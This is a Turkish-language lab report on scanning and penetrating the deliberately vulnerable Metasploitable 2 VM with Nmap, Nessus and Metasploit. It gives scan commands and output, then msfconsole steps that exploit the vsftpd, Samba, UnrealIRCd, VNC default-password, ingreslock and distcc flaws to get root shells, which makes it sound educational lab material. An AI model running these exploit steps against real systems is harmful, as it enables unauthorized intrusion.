Zafiyet Tarama Ve Sizma Denemeleri

31 

Full text

(1)

10.11.2013

Mustafa Kemal Uzunsakaloğlu | uskom

USKOM

ZAFİYET

TARAMA

VE

(2)

1

İÇİNDEKİLER

1. GİRİŞ __________________________________________________________ 3

1.1 TEST ORTAMININ OLUŞTURULMASI ________________________________________________ 3

1.1.1 Kali Linux____________________________________________________________ 3 1.1.2 VMware Workstation _________________________________________________ 3 1.1.2.1 VMware nedir _? _______________________________________________________ 3 1.1.3 Metasploitable II______________________________________________________ 3 1.2 KURULUM _________________________________________________________________ 3 2. KEŞİF __________________________________________________________ 4 2.1.1 Nessus ______________________________________________________________ 4 2.1.2 Nmap ______________________________________________________________ 5 2.1.3 Hedef Ip Tespiti _______________________________________________________ 5 2.1.4 Hedef Açıklarının Öğrenilmesi __________________________________________ 10

2.1.4.1 Nmap ile Açık Portların Öğrenilmesi ________________________________________ 10 2.1.4.2 Nessus ile Zafiyet Taraması _______________________________________________ 12

3. ZAFİYET AÇIKLARINI KULLANARAK SIZMA DENEMELERİ ________________ 16

3.1 EXPLOİT _________________________________________________________________ 16 3.2 METASPLOİT FRAMEWORK _____________________________________________________ 17

3.2.1 Metasploit _________________________________________________________ 17 3.2.2 Metasploit Framework Konsol ve Komut Satırı Araçları _______________________ 18

3.2.2.1 Msfconsole ___________________________________________________________ 18 3.2.2.2 Msfpaylaod ___________________________________________________________ 18 3.2.2.3 Msfencode ___________________________________________________________ 18 3.2.2.4 Msfcli _______________________________________________________________ 18 3.2.2.5 Msfrpcd ______________________________________________________________ 19 3.3 SIZMA DENEMELERİ __________________________________________________________ 19 3.3.1 Deneme1 # vsftpd ____________________________________________________ 19 3.3.2 Deneme2 # Samba ___________________________________________________ 22 3.3.3 Deneme3 # Unreal IRC ________________________________________________ 25 3.3.4 Deneme4 # Vncviever _________________________________________________ 26 3.3.5 Deneme5 # Ingreslock ________________________________________________ 27 3.3.6 Deneme6 # distcc ____________________________________________________ 28

(3)

2 ŞEKİLLER TABLOSU

Şekil 1: Metasploitable II nin çalıştırılması ... 4

Şekil 2: Ip bloğu tespiti ... 9

Şekil 3 Ip, Açık port Tespiti ve OS un belirlenmesi ... 9

Şekil 4 : TCP SYN Scan ...10

Şekil 5 : Nessus programının çalıştırılması ...12

Şekil 6 : Nessus Kullanıcı Giriş Ekranı ...13

Şekil 7 : Kullanıcı adımızı ve şifremizi girdikten sonra Nessus arayüzü ...13

Şekil 8 : Tarama için ilkenin belirlenmesi ...14

Şekil 9 : Nessus Yeni Tarama Ayarları ...14

Şekil 11 :Nessus Tarama Sonucu Özeti ...15

Şekil 10 :Zafiyet detayları ...15

Şekil 12: vsftp açığının aratılması ...19

Şekil 13: İlgili modül hakkında bilgi edinilmesi ...20

Şekil 14: İlgili modulde Gereken değerlerin girilmesi ...20

Şekil 15: Modüldeki payloadların gösterilmesi ...21

Şekil 16 : Payload un seçilmesi ve payload seçeneklerinin listelenmesi ...21

Şekil 17 : Açık sayesinde sisteme sızılması ...22

Şekil 18: Samba açığının tespit edilmesi ...23

Şekil 19 : Samba açığına ait modüllerin listelenmesi ...23

Şekil 20 : Samba açığıyla sisteme sızılması ...24

Şekil 21 : Unreal irc açığının tespit edilmesi ...25

Şekil 22: UnrealIRCD ...25

Şekil 23: UnrealIRCD açığı ile sisteme sızılması ...26

Şekil 24 : Nessus VNC ...26

Şekil 25: vncviewer ile sisteme sızılması...27

Şekil 26 : Ingreslock nmap ...27

Şekil 27 : Ingreslock açığıyla sisteme sızılmıştır ...28

Şekil 28: Distcc açığının tespiti ...28

Şekil 29: Distcc exploit işlemleri ve sisteme sızılması ...29

(4)

3 1. GİRİŞ

1.1 Test Ortamının Oluşturulması

1.1.1 Kali Linux

Kali; Linux tabanlı, CD'den başlatma seçenekli BackTrack yapımcıları tarafından 2013 yılında oluşturulmuş olan bir güvenlik kontrol işletim sistemi. İçerisindeki araçlar sayesinde birçok alanda (ağ, Windows, Arduino) güvenlik testi yapmak ve yazılım geliştirmek mümkün. Masaüstü ortamı olarak BackTrack'teki gibi KDE seçeneği yok; yalnızca GNOME masasütü ortamı kullanılabilir durumdadır. Ayrıca 64-bit (amd64), 32-bit (i386), ARM ve Armel alt yapı desteği de vardır. [1]

1.1.2 VMware Workstation 1.1.2.1 VMware nedir _?

VMware sanal makina yazılımı üreten ”VmWare Inc.” firmasına aittir. Vmware ile oluşturulan sanal işletim sistemleri, asıl işletim sisteminden bağımsız çalışıyor olsa dahi, aynı sistem kaynaklarını tüketir. Ve ana makinanın işletim sistemi, yine bu ana makina içerisinde kurulu olan Sanal Makinanın işletim sisteminden farklı olabilir. Örnek verecek olursak; ana makina windows 7 işletim sistemine sahip iken, sanal makina linux işletim sistemine sahip olabilir. [2]

1.1.3 Metasploitable II

Metasploitable, hedef sistemlere sızma sırasında yapılan saldırılar için bir deneme, öğrenme ortamı olarak Metasploit tarafından oluşturulmuştur. Sistem bir çok zafiyet barındıran Vmware’de oluşturulmuş Linux bir sanal makinadır. Virtualbox’a da kurulabilir.Metasploitable 2 linkinden direk olarak ya da Torrent ile indirilebilir.

1.2 Kurulum

Vmware ile Open Virtual Machine diyerek indirilen .vmx uzantılı dosya gösterilir. Network adapter’ın NAT veya Host-only olarak ayarlanması güvenlik için önemlidir. Sisteme kullanıcı adı ve şifre olarak msfadmin yazılarak giriş yapılabilir.

(5)

4 2. KEŞİF

Keşif için Nessus ve Nmap Kullanılmıştır. 2.1.1 Nessus

Nessus, Linux camiasında sıkça kullanılan, kapsamlı bir güvenlik açığı tarama yazılımıdır. Kişisel ve hertür kurumsal olmayan kullanım için ücretsizdir. Genel amacı, bilgisayar sistemlerinde ve bilgisayar ağlarında potansiyel güvenlik açıklarını tespit etmektir.

Nessus bir port tarama yazılımından çok daha üstün özelliklere sahiptir. Nmap benzeri yazılımlar yalnızca karşıdaki sunucu ya da makine hakkında işletim sistemi, Şekil 1: Metasploitable II nin çalıştırılması

(6)

5

açık port bilgileri verebiliyorken Nessus, servislerdeki açıkları eklentilerinin güncelliğine bağlı olarak test edebilir. Çalışma prensibi istemci/sunucu biçimini kullanır ve test edilecek sistemde nessus sunucu yazılımının açık olması daha derinlemesine test ve analiz imkânı sunar. [3]

2.1.2 Nmap

Nmap, sistem yöneticilerinin geniş ağlarını taramasında ve hangi istemci/sunucusunda hangi servislerin çalıştığını saptamasında kullanabileceği bir araç olarak tasarlandı.

Nmap geniş bir tarama yelpazesini destekler ; UDP, TCP Connect, TCP SYN (Yarı Açık), FTP Proxy Bounce Atağı, TCP FIN, TCP Xmass Tree, ICMP (Ping Sweep), ACK Sweep, SYN Sweep ve Null Scan bunlara birkaç örnektir. Nmap ayrıca gelişmiş özelliklere sahip bir araçtır, TCP/IP parmak izleri ile hedefin işletim sistemini saptayabilir, Stealth (Gizli) tarama yapabilir, taramalarında dinamik zamanlamalar kullanılabilir, paralel taramalar yapabilir, ping atarak aktif hostları bulabilir, RPC taraması yapabilir, esnek port ve hedef özelliklerine sahiptir.

Unutulmaması gereken en önemli nokta hedef sistemde açık olan portların nmap’in standart olarak nitelendirilen ve /etc/services dosyasından aldığı port numarası ve sunucu servis karşılaştırılmaları tablosu aracılığıyla tespit edilmiş olmasıdır.

Örnek olarak standart kullanımda 21/TCP ftp protokolü için kullanılan bir port olması dolayısıyla bu portu açık bulan nmap servisin ftp olduğunu bildirecektir, ancak o portu dinleyen servis farklı bir servis (örnegin vnc sunucusu) olabilir. [4]

2.1.3 Hedef Ip Tespiti

Öncelikle Nmap da tarama türlerinden bahsedelim :

Tarama Türleri

-sT TCP Connect Scan : En basit anlamda çalışan tarama tekniğidir, hedef porta bağlanmak için SYN paket gönderir,karşılığında SYN/ACK paketi gelirse ACK paketi göndererek porta bağlanır ve portun açık olduğunu rapor eder, eğer SYN

(7)

6

paketine RST cevabı gelirse portun kapalı olduğunu rapor eder. Bu tarama türünde extra paket özelliklerine sahip olmak gerekmediği için root olmayan kullanıcılarda kullanabilir. En kötü özelliği açılan tüm oturumların hedef sistem, Firewall yada IDS tarafından loglanıyor olmasıdır.

-sS TCP SYN Scan : Yarı açık olarakta tanınan SYN tarama oturumu tamamen açmaz, SYN paketinin karşılığında SYN/ACK paketi geldiğinde portun açık olduğunu rapor eder ve RST paketi göndererek oturumu kapatır, port kapalı ise hedef zaten direk RST cevabı gönderir. Bu yöntemi uygulayabilmek için root olmak gerekmektedir. IDS ve Firewall’lara yakalanma ihtimali ve loglanma ihtimali azdır.

-sF, -sX, -sN : Bu tarama yöntemleri ise sırayla gizli FIN , Xmass Tree ve Null Scan’dir. IDS ve Firewall’ların SYN taramaları loglayabileceğini düşünerek kullanılan yöntemlerdir. FIN, Xmass Tree ve Null scan paketlerinin gönderilmesi durumunda hedefin RFC 793’te açıklandığı gibi kapalı olan tüm portlar için RST cevabı göndermesi mantığına dayanır. Bu yöntem IPeye ve NmapNT ile windows platformunda da uygulanabilmektedir. Ayrıca bu tarama yöntemleri açık port buluyorsa (FIN taramada Windows sistemlerindeki tüm portlar açık olarak görünmektedir, çünkü Windows tabanlı sistemler bir oturuma ait olmayan FIN paketleri ile karşılaşıyorsa tümünü göz ardı ederler ve göz ardı edilen paketler standart olarak portun açık olduğu anlamına gelir.) hedefin sistemi Windows tabanlı değildir. Eğer SYN scan açık port buluyor ve bu tarama yöntemleri bulamıyor ise hedef Windows tabanlı bir sisteme sahip demektir. Nmap’in İşletim sistemi saptama özelliklerine bu durum dahildir. Windows’la aynı tepkiyi veren bazı sistemler ise Cisco, BSDI, HP/UX, MVS ve IRIX’ tir.

-sP Ping Sweep : Taranılan ağda hangi hostların aktif olduğuna ihtiyaç olduğunda kullanılan genel yöntem ICMP Echo paketleri gönderip cevap beklemektir, son zamanlarda bu ping isteklerinin Firewall’lar tarafından bloke edildiği düşünüldüğünde alternatif çözümler geliştirilmelidir. Bu durumda nmap TCP ACK paketi gönderiyor (standart olarak 80.porttan - değiştirilebilir), eğer porttan RST cevabı geliyorsa sistemin aktif olduğu rapor ediliyor. Diğer alternatif teknikte bir SYN paket gönderip hedeften SYN/ACK yada RST cevabı beklemektir, her iki

(8)

7

cevapta sistemin aktif oldugunu gösterir. Root olmayan kulanıcılar için ise standart TCP Connect yöntemi kullanılır. Standart olarak ICMP ve ACK teknikleri paralel olarak uygulanır. Eğer bunun değiştirilmesi istenirse -P* parametreleri kullanılarak bu yöntemler değiştirilebilir. Ayrıca bu pingleme işlemi tamamlandığında sadece aktif sistemler taranır, bu seçenek ping taraması kullanmadan port taramaya geçmek isteniyorsa kullanılabilir.

-sU UDP Scan : Bu teknik hedef bilgisayarın UDP portlarından hangilerinin açık olduğunu saptamak için kullanılır.(RFC 768) Hedef makinede açık olduğu düşünülen porta 0 byte’lik bir UDP paket göndermek ve "ICMP Port Unreachable" paketini beklemek temeline dayanır. Paket gelirse port kapalı gelmezse açık olduğuna karar verilir. Bazı insanlar UDP taramayı önemsemezler. Önemsemelerini gerektiren sebepler arasında Tftp, NFS, Snmp gibi protokollerin UDP üzerinden çalışması ve Solaris’in RPCBind açığı sayılabilir.

-sA ACK Scan : ACK tarama yöntemi Firewall`ların ACL`lerini bypass ederek tarama yapılmasını sağlar. Bazı Firewall`lar stateful yada basit paket filtreleme Firewall`ları olabilir, dışarıdan gelen SYN paketlerini bloke edebilir ancak ACK flag’lı paketin geçişine izin veriyor olabilir. Rastgele üretilmiş ack/sequence numaralarıyla yapılır. Cevap gelmezse yada ICMP port unreachable mesajı geliyorsa port filtrelenen bir porttur. Nmap genellikle portlar için unfiltered nitelemesi yapmaz. Bu taramada bulunan portları asla açıkca `open` olarak nitelendirmez.

-sW Window Scan : Bu gelişmis tarama türü ACK tarama türüne çok benzer, portların açık olup olmadığını taraması dışında bu portları filtered/unfiltered olarak nitelendirir ve çerçeve boyutundaki farklılıklardan hedefin işletim sistemini saptar. Aralarında AIX, Amiga, BeOS, BSDI, Cray, Tru64 UNIX, DG/UX, OpenVMS, Digital UNIX, FreeBSD, HP-UX, OS/2, IRIX, MacOS, NetBSD, OpenBSD, OpenStep, QNX, Rhapsody, SunOS 4.X, Ultrix, VAX ve VxWorks gibi işletim sistemlerininde bulunduğu işletim sistemlerinin bazı versiyonları bu durumdan etkilenir. Tam listeye ulaşabilmek için Nmap-Hackers posta listesinin arşivlerine bakılabilir.

(9)

8

-sR RPC Scan : RPC taramaları için diğer tarama türleriyle beraber kullanılır. Bütün TCP/UDP portları tarayarak açık bulduğu portlarda SunRPC`nin "NULL" komutlarını kullanarak rpc portlarını saptamaya çalışır, eğer rpc portu bulursa çalışan program ve sürümlerini saptamaya çalışır. Böylece Firewall yada diğer paket filtreleme cihazları hakkında bazı işe yarar bilgiler saptamaya çalışır. Decoy özelliği şu an için RPC taramalarda kullanılamıyor ancak bazı UDP RPC taramalarında bu özellik nmap`e eklenmiştir.

-b (ftp relay host) : Ftp protokolunun ilginç bir özelliği proxy için destek vermesidir (RFC 959). Bunun için öncelikle hedefin ftp sunucusuna bağlanmak gereklidir, daha sonra internette herhangi bir yerden o sunucuya bir dosya gönderilebilir. RFC nin yazıldığı 1985 yılından günümüze kadar ftp bu özelliğe sahip olabilir. Böylece bir ftp sunucu üzerinden TCP port tarama yapabilme imkanıda kazanılmış olur. Bu seçenek ile bu denemeler uygulanabilir. [5]

Şimdi Hedef pc için ip belirlemesi yapabiliriz.

VMNet 0: VMware Workstation üzerinde çalışan sanal makinelerimizin kendi ip sini kullanarak fiziksel makinemizin ağ kartından internete çıkması sağlanmış olur. Yani fiziksel bilgisayarımızın ağ kartı köprü vazifesi görmüş olur.

VMNet 1: VMware Workstation üzerinde çalışan sanal makinelerimizin ağ bağlantısının sadece fiziksel makine ile sınırlı olmasını sağlamak istendiğinde kullanılır. Böylece kendi bilgisayarımızın bağlı olduğu network e erişmeden bilgisayarımız üzerinde yerel bir sanal ağ ortamı oluşturmuş oluruz.

VMNet 8: VMware Workstation üzerinde çalışan sanal makinelerimizin ağ bağlantısının fiziksel makinemizin ağ ayarlarını kullanarak tek bir ip üzerinden internete çıkması sağlanmak istendiğinde kullanılır. Böylece sanal makineler internete çıkarken fiziksel bilgisayarımızın ip sini kullanırlar. Yani NAT yapmış oluruz.

(10)

9

Ip blogumuzu öğrenmiş olduk artık daha detaylı tarama yapabiliriz. Ip adres tespiti, açık portlar ve işletim sistemi hakkında bilgi sahibi olabiliriz. Vereceğimiz komut

nmap -sS -O 192.168.98.0/24 Şekil 2: Ip bloğu tespiti

(11)

10 2.1.4 Hedef Açıklarının Öğrenilmesi

Nessus ve Nmap da detaylı taramalar yapılıp sistem açıkları hakkında bilgi öğrenilebilir.

2.1.4.1 Nmap ile Açık Portların Öğrenilmesi Version Detection taraması

Version Detection, bütün portların bilgilerini bulabilecek herhangi bir tarama türü ile beraber çalışır. Eğer herhangi bir tarama türü belirtilmezse yetkili kullanıcılar ( root, admin ) için TCP SYN, yetkisiz kullanıcılar için TCP Connect Scan çalıştırılır. Eğer açık port bulunursa, Version Detection Scan hedef makina üzerinde araştırma sürecini başlatır. Hedef makinanın uygulamalarıyla direkt olarak iletişime geçerek elde edebileceği kadar bilgiyi almaya çalışır.

Başlangıçta varsayılan olarak TCP SYN Scan yapıldığı ve cevaplarının döndüğünü kabul edersek, 80.Port üzerinde çalışan HTTP hakkında bilgi toplayacak olan Version Detection Scan gerçekleştireceği tarama işlemleri aşağıdaki gibidir :

(12)

11

Bu Taramayı gerçekleştirmek için aşağıdaki komut kullanılmalıdır : nmap -sV -v [Hedef_IP]

Aşağıdaki komut ise hedef ip deki tüm portları tarar ve sonucu belirlenen text dosyasına kaydeder.

#nmap -n -sV -oN /uskom.txt --open -p 0-65535 192.169.98.128

root@uskomhost:~# nmap -n -sV -oN /uskom.txt --open -p 0-65535 192.168.98.128 Starting Nmap 6.40 ( http://nmap.org ) at 2013-11-10 04:13 EET

Nmap scan report for 192.168.98.128 Host is up (0.00027s latency).

Not shown: 65506 closed ports

PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 2.3.4

22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) 23/tcp open telnet Linux telnetd

25/tcp open smtp Postfix smtpd 53/tcp open domain ISC BIND 9.4.2

80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2) 111/tcp open rpcbind 2 (RPC #100000)

139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) 512/tcp open exec netkit-rsh rexecd

513/tcp open login? 514/tcp open shell?

1099/tcp open rmiregistry GNU Classpath grmiregistry 1524/tcp open shell Metasploitable root shell 2049/tcp open nfs 2-4 (RPC #100003) 2121/tcp open ftp ProFTPD 1.3.1

3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

3632/tcp open distccd distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4)) 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

5900/tcp open vnc VNC (protocol 3.3) 6000/tcp open X11 (access denied) 6667/tcp open irc Unreal ircd

(13)

12 6697/tcp open irc Unreal ircd

8009/tcp open ajp13 Apache Jserv (Protocol v1.3)

8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1

8787/tcp open drb Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb) 41559/tcp open unknown

51125/tcp open mountd 1-3 (RPC #100005) 54506/tcp open status 1 (RPC #100024) 59966/tcp open nlockmgr 1-4 (RPC #100021)

1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :

SF-Port514-TCP:V=6.40%I=7%D=11/10%Time=527EEBE5%P=i686-pc-linux-gnu%r(NULL

SF:,33,"\x01getnameinfo:\x20Temporary\x20failure\x20in\x20name\x20resoluti SF:on\n");

MAC Address: 00:0C:29:05:0F:B1 (VMware)

Service Info: Hosts: metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Nmap done: 1 IP address (1 host up) scanned in 163.42 seconds

Tarama sonuçlarından da görüldüğü üzere port numarası, portun açık olup olmadığı, portun kullanıldığı servis adı ve versiyon bilgisi elde edilmiştir.

2.1.4.2 Nessus ile Zafiyet Taraması

Nessus kurulumu yapıldıktan ve kayıt işlemi yapıldıktan sonra program aşşağıdaki komutla çalıştırılır.

(14)

13

Program arayüzüne Browser satırına uskomhost:8834 yazarak ulaşabildik. Varsayılan portu 8834 dür.

Şekil 6 : Nessus Kullanıcı Giriş Ekranı

(15)

14

3 basamaktan oluşan ilke tanımlanır. 2.basamakta internal 3.basamakta SSH ı seçip devam ettik.

Policy sekmesinde ayarladığımız ilke seçildikten sonra Targets bölümüne hedef ip yada ip aralığı girilip Launch buttonuyla taramamızı başlatıyoruz.

Şekil 8 : Tarama için ilkenin belirlenmesi

(16)

15

Bulunan zafiyetlerin üstüne tıklanarak zafiyet hakkında detaylı bilgiye ulaşılabilir. Şekil 10 :Nessus Tarama Sonucu Özeti

(17)

16

3. ZAFİYET AÇIKLARINI KULLANARAK SIZMA DENEMELERİ 3.1 Exploit

Bir güvenlik açığının kullanılabilmesi için teknik açıklama gereklidir, ancak birçok güvenlik duyurusu sadece güvenlik açığı hakkında özet bilgi barındırmakta ve yama sunmaktadır. Güvenlik açıklarının kullanımı ve sonuçları hakkındaki bilgiler genellikle açığı bulan kişi tarafından veya ters mühendislik yöntemi ile keşfedilir. Açığın kullanımını ifade eden yöntem ve araçlara exploit ismi verilmektedir. Exploit’ler güvenlik açığını bulan, duyuran veya ters mühendislik yöntemi ile detay verilmeyen açığın kullanım yöntemlerini keşfeden kişilerce hazırlanmaktadır. Amaç güvenlik açığınının taşıdığı riski pratik olarak göstermek ve çalışan sistemlerin güvenlik açığını barındırdığının doğrulanmasıdır.

Exploit’ler genellikle özensiz ve uygulamanın sadece belirli bir sürümü için

hazırlanmaktadır, çünkü yazarlar sadece pratikte açığın nasıl kullanıldığını ifade etmek için exploitleri hazırlamaktadır. Bu sebepten exploit’i kullanırken hedef sistem için geçerli olduğu, standart dışı bir kurulum varsa değişikliğin exploit’te tanımlı olduğu ve bir saldırı tespit sistemi tarafından sonuçların engellenmediği kontrol edilmelidir. Aksi durumda exploit işlevsiz olacak, güvenlik açığını kontrol edemeyecek farklı sonuçlar üretecektir.

Exploit’ler kaynak kodları açık biçimde hazırlanmış programcıklardan veya kullanım yöntemlerinden oluşmaktadır. Kapalı kodla veya çalıştırılabilir bir programla dağıtılan exploit ise ancak ters mühendislik yöntemleri ile çözümlenebilir, açığın kullanımı için yeniden geçerli ve kararlı bir exploit yazılmasını gerektirebilir. Exploit'lerin kaynak kodunun açık olmasının sebebi açığın testi yapılırken exploit yazarı tarafından art niyetli bir kodun sisteme bulaşmasını önlemektir. Kaynak kodu açık olan exploit’ler analiz edilerek, açığın kullanımı hakkında bilgi sahibi olunabilir ve farklı hedeflere göre özelleştirilebilir. Güvenlik denetim yazılımları exploit’leri analiz ederek genel güvenlik denetimleri oluşturmakta ve güvenlik açıklarını otomatize olarak denetlemektedir.

(18)

17 3.2 Metasploit Framework

Metasploit Framework güvenlik açıklarını bulmak ve bu açıklar doğrultusunda ne gibi sonuçların orataya çıkabileceğini göstermek için kullanılan açık kaynak kodlu güvenlik programıdır. Aynı zamanda bünyesinde anti-forensic ve atlatma teknikleri uygulamalarını da barındırır.

Metasploit 2003 yılında HD Moore tarafından Perl dili ile bir network oyunu olarak programlandı. Daha sonra Ruby dili ile baştan itibaren tekrar yazıldı. Güvenlik dünyasına sunulmasının ardından en çok göze çarpan özellik, herkes tarafından bilinen güvenlik açıkları için özel exploitler bulundurması olmuştur. Bununla beraber, güvenlik araştırmacıları için yeni güvenlik açıklarını bulmakta güçlü bir yazılım olarak kullanılmaktadır. 21 Ekim 2009 tarihinde Metasploit projesinin Rapid7 bünyesine katıldığı bildirildi. [6]

3.2.1 Metasploit

Metasploit, çeşitli pentestler gerçekleştirmek için içerisinde exploitler, payloadlar, auxiliaryler ve encoderlerin bulunduğu framework altyapısıdır. Metasploit; Linux, Windows Mac-OS ortamlarında çalışabilmektedir.

Metasploit ile sadece direkt saldırı yapılmaz. çeşitli backdoorlu dosyalar yapıp bunlar ile de hedef sisteme saldırı gerçekleştirebilirsiniz. Bunun için işletim sisteminize iis yada apache gibi servisler kurmanız gerekebilir.

Hedef sistemde otomatik olarak açık taramak için localhostunuzda database yönetmeye ihtiyacınız olacak bu yüzden mysql gibi servislerden de yararlanmanız gerekebilir.

Burada adı geçen bazı kavramların tanımlamasını yapacak olursak:

Exploit: Hedef sistemde çalışan servis yada uygulamaların zayıflıklarını kullanarak amaçlara ulaşmak için kullanılan güvenlik açıklarıdır.

Payload: Exploit sonrasında hedef sisteme sızmayı sağlayan ve istenilen işlemleri gerçekleştirmek için kullanılan bileşenlerdir. Örnek ile açıklayacak olursak bir servisin açığını kullanmak exploitin, o açıktan faydalanarak sistemde kullanıcı oluşturmak ise payload'un görevidir.

Sıklıkla kullanılan önemli payloadlar; Meterpreter, dll injection, passivex ...

Auxiliary: Exploit öncesi hedef sistemde bilgi toplama amaçlı kullanılabilecek bileşenlerdir.

(19)

18

Encoders: Exploit içinde kullanılan kodların (ki o kodlara shellcode denilir) çalışmasını bozmadan antivirüsler, firewaller, IPS, IDS tarafından tanınmamasını sağlamak için kullanılan bileşenlerdir.

Nop: Çeşitli sistemlerde hafızadaki veri ve dönüşü hakkında bilgi edinmek için kullanılabilir. İleri seviye işlemlerde kullanılmaktadırlar. [7]

3.2.2 Metasploit Framework Konsol ve Komut Satırı Araçları

Metasploit Framework çok sayıda bileşen ve arayüzden oluşmaktadır; konsol temelli etkileşimli arayüze ek olarak, seri komut arayüzü, RPC bağlantısı ile harici yazılım arayüzü, doğrudan kabuk kodu oluşturma veya dönüştürme araçları yer almaktadır. 3.2.2.1 Msfconsole

Metasploit Framework ile çalışma esnasında kullanılabilecek en kararlı etkileşimli arayüzdür, grafik arayüzler gibi çok sayıda hata barındırmadığı için sistem ele geçirme işleminin yarıda kalması veya istenmeyen durumlara neden olmaz. Konsolda verilecek komutlar ve seçenek ayarlamaları ile tüm özelliklere eksiksiz erişim sunmaktadır.

3.2.2.2 Msfpaylaod

Kabuk kodu, VNC, özel uygulama veya Meterpreter kullanılarak Payload oluşturmayı sağlamaktadır. Çalıştırma esnasında verilecek parametrelerle, Payload seçeneklerini listeler, seçenekler verildiği durumda ise istenen biçimde Payload'u üretir.

3.2.2.3 Msfencode

Kabuk kodunda kullanılmaması gereken karakterlerin aşılması veya güvenlik teknolojileri atlatılması amacıyla, bir Payload'un kodlanması ve dönüştürülmesini sağlamaktadır.

Çalıştırma esnasında verilecek parametrelerle, kodlama seçeneklerini listeler, seçenekler verildiği durumda ise istenen biçimde Payload'u dönüştürür.

3.2.2.4 Msfcli

Konsol arayüzünün aksine çalışma esnasında aldığı parametrelerle çalışmakta, modül seçeneklerinin büyük bölümüne erişim sağlamaktadır. Daha çok Listener veya Handler kullanımları, harici bir yazılım tarafından Metasploit Framework'ün çağrılması veya doğrudan tek bir modülün kullanımı için verimlidir.

(20)

19 3.2.2.5 Msfrpcd

Metasploit Framework'ün konsol ve seri arayüzü dışında kalan, harici yazılımların entegrasyonu için kullanılan bir servis bileşenidir. Harici grafik arayüz uygulamalarının Metasploit Framework'e erişebilmesi, exploit işlemleri veya yardımcı araçların kullanılabilmesi için servis sunar. Armitage veya MsfGui gibi arayüzlerin bağlantısında sorun yaşanması durumunda SSL desteği kapatılarak uyumluluk sağlanabilir. [8]

3.3 Sızma Denemeleri

3.3.1 Deneme1 # vsftpd

Sonuçlarda ilk sıradaki ftp sunucusuna bakıldığında vsftpd 2.3.4 gözüküyor. Bununla bir google araması yapılırsa , bu sunucu kullanılarak sistemde bir backdoor açılabileceği görülebilir.

Metasploit Framework msfconsole ile başlatılır. Ekranda msf> gözüktüğünde artık kullanıma hazırdır. Önce vsftpd aratılır ve listelenir.

(21)

20 Tek sonuç çıktı. Bulunan exploiti kullanmak için ; msf > use exploit/unix/ftp/vsftpd_234_backdoor

Girilmesi gereken değerler için (Şekil13 de basic options ile gösterilen ) Required kolonunda yes yazar. Sırayla hedef sistem hakkında istenen bilgiler set NAME değer olarak yazılır. Burada sadece RHOST değeri girilir.

Şekil 13: İlgili modül hakkında bilgi edinilmesi

(22)

21 Bu exploitle kullanılabilecek payloadlar listelenir. msf exploit(vsftpd_234_backdoor) > show payloads

Payload un seçilmesi

msf exploit(vsftpd_234_backdoor) > set PAYLOAD cmd/unix/interact PAYLOAD => cmd/unix/interact

msf exploit(vsftpd_234_backdoor) > show options

Payloadun istediği veriler için yine show options komutu kullanılır ve gerekli değerler girilir.

Şekil 15: Modüldeki payloadların gösterilmesi

(23)

22 Artık herşey hazır olduğuna göre exploit denir. msf exploit(vsftpd_234_backdoor) > exploit

Sisteme root haklarıyla giriş yapılmıştır. 3.3.2 Deneme2 # Samba

msf > db_connect

komutuyla PostgresSql veritabanına bağlanıp msf > db_nmap -sS -A 192.168.98.128

komutuyla nmap sonuçlarını otamatik olarak yeni veritabanımıza kaydedebiliriz. msf > services

komutuyla nmap tarama sonuçlarını görürüz. Şekil 17 : Açık sayesinde sisteme sızılması

(24)

23

msf>search samba komutuyla açık ile ilgili moduller listelenir Şekil 18: Samba açığının tespit edilmesi

(25)

24 msf > use exploit/multi/samba/usermap_script msf exploit(usermap_script) > show options

msf exploit(usermap_script) > set RHOST 192.168.98.128 RHOST => 192.168.98.128

msf exploit(usermap_script) > exploit

Sisteme root haklarıyla giriş yapılmıştır . Şekil 20 : Samba açığıyla sisteme sızılması

(26)

25 3.3.3 Deneme3 # Unreal IRC

Unreal IRC , internet üzerinden chat yapma programı olan IRC nin başka bir versiyonu. nmap çıktısından bu servisin çalıştığı görülebilir. Bu uygulama üzerinden sistemde backdoor açılabilir.

msf> search UnrealIRCD

Şekil 21 : Unreal irc açığının tespit edilmesi

(27)

26 Sisteme root haklarıyla giriş yapılmıştır . 3.3.4 Deneme4 # Vncviever

Nessus taramasında VNC Server 'password' Password isminde kritik bir zafiyet keşfetti. Açıklamada nessusun parola olarak "password" ile vnc bağlantısı yapabildiği belirtiliyor. Linux komut satırına

root@uskomhost:~# vncviewer 192.168.98.128 password:password yazarak sisteme direk olarak login olunabilir.

Şekil 23: UnrealIRCD açığı ile sisteme sızılması

(28)

27 Sisteme root haklarıyla giriş yapılmıştır . 3.3.5 Deneme5 # Ingreslock

ingreslock 1524 portunu kullanan DoS atakları, rootkit ,backdoor yerleştirmek için kullanılan bir servistir. Bu servisin çalıştığı porta telnet ile ulaşılabilir.

Şekil 25:vncviewer ile sisteme sızılması

(29)

28 Sisteme root haklarıyla giriş yapılmıştır 3.3.6 Deneme6 # distcc

Distcc ile ağ üzerinde başka bir bilgisayara derlemesi için kod gönderilip çalıştırılabilir. Böylece işlemci gücü başka bilgisayarlar üzerine dağıtılabilir. Distcc nin sistem üzerinde çalıştığı nmap çıktısından görülebilir.

Şekil 27 :Ingreslock açığıyla sisteme sızılmıştır

(30)

29 Şekil 30 :Distcc modul seçimi ve modul detayı

(31)

30

Figure

Updating...

References

Updating...

Related subjects :